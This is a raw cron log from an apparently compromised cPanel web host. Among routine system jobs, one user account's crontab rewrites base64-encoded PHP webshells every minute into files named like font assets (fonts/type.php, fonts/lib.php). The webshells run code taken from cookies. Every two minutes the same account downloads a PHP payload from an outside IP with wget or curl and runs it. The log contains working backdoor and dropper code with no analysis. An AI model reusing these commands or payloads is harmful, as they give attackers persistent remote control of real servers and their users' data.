Sep  1 20:06:01 ip-184-168-122-23 CROND[17810]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 20:06:01 ip-184-168-122-23 CROND[17812]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 20:06:01 ip-184-168-122-23 CROND[17811]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 20:07:01 ip-184-168-122-23 CROND[17903]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 20:07:01 ip-184-168-122-23 CROND[17906]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 20:07:01 ip-184-168-122-23 CROND[17907]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 20:07:01 ip-184-168-122-23 CROND[17905]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 20:08:01 ip-184-168-122-23 CROND[17993]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 20:08:01 ip-184-168-122-23 CROND[17995]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 20:08:01 ip-184-168-122-23 CROND[17997]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 20:08:01 ip-184-168-122-23 CROND[17998]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 20:08:01 ip-184-168-122-23 CROND[18001]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 20:09:01 ip-184-168-122-23 CROND[18087]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 20:09:01 ip-184-168-122-23 CROND[18090]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 20:09:01 ip-184-168-122-23 CROND[18089]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 20:09:01 ip-184-168-122-23 CROND[18092]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 20:09:01 ip-184-168-122-23 CROND[18091]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  1 20:10:01 ip-184-168-122-23 CROND[18191]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  1 20:10:01 ip-184-168-122-23 CROND[18192]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 20:10:01 ip-184-168-122-23 CROND[18196]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 20:10:01 ip-184-168-122-23 CROND[18201]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 20:10:01 ip-184-168-122-23 CROND[18202]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 20:10:01 ip-184-168-122-23 CROND[18200]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 20:10:01 ip-184-168-122-23 CROND[18197]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 20:10:01 ip-184-168-122-23 CROND[18203]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 20:11:01 ip-184-168-122-23 CROND[18289]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 20:11:01 ip-184-168-122-23 CROND[18290]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 20:11:01 ip-184-168-122-23 CROND[18291]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 20:11:01 ip-184-168-122-23 CROND[18292]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 20:12:01 ip-184-168-122-23 CROND[18454]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 20:12:01 ip-184-168-122-23 CROND[18456]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 20:12:01 ip-184-168-122-23 CROND[18457]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 20:12:01 ip-184-168-122-23 CROND[18458]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 20:12:01 ip-184-168-122-23 CROND[18459]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 20:13:01 ip-184-168-122-23 CROND[18551]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 20:13:01 ip-184-168-122-23 CROND[18552]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 20:13:01 ip-184-168-122-23 CROND[18553]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 20:13:01 ip-184-168-122-23 CROND[18554]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 20:14:01 ip-184-168-122-23 CROND[18632]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 20:14:01 ip-184-168-122-23 CROND[18634]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 20:14:01 ip-184-168-122-23 CROND[18637]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 20:14:01 ip-184-168-122-23 CROND[18636]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 20:14:01 ip-184-168-122-23 CROND[18635]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 20:15:02 ip-184-168-122-23 CROND[18722]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 20:15:02 ip-184-168-122-23 CROND[18724]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 20:15:02 ip-184-168-122-23 CROND[18727]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 20:15:02 ip-184-168-122-23 CROND[18726]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Sep  1 20:15:02 ip-184-168-122-23 CROND[18725]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 20:15:02 ip-184-168-122-23 CROND[18728]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 20:15:02 ip-184-168-122-23 CROND[18730]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 20:16:01 ip-184-168-122-23 CROND[18813]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 20:16:01 ip-184-168-122-23 CROND[18815]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 20:16:01 ip-184-168-122-23 CROND[18817]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 20:16:01 ip-184-168-122-23 CROND[18816]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 20:16:01 ip-184-168-122-23 CROND[18819]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 20:16:01 ip-184-168-122-23 CROND[18818]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  1 20:17:01 ip-184-168-122-23 CROND[18978]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 20:17:01 ip-184-168-122-23 CROND[18980]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 20:17:01 ip-184-168-122-23 CROND[18981]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 20:17:01 ip-184-168-122-23 CROND[18983]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 20:18:01 ip-184-168-122-23 CROND[19071]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 20:18:01 ip-184-168-122-23 CROND[19074]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 20:18:01 ip-184-168-122-23 CROND[19073]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 20:18:01 ip-184-168-122-23 CROND[19076]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
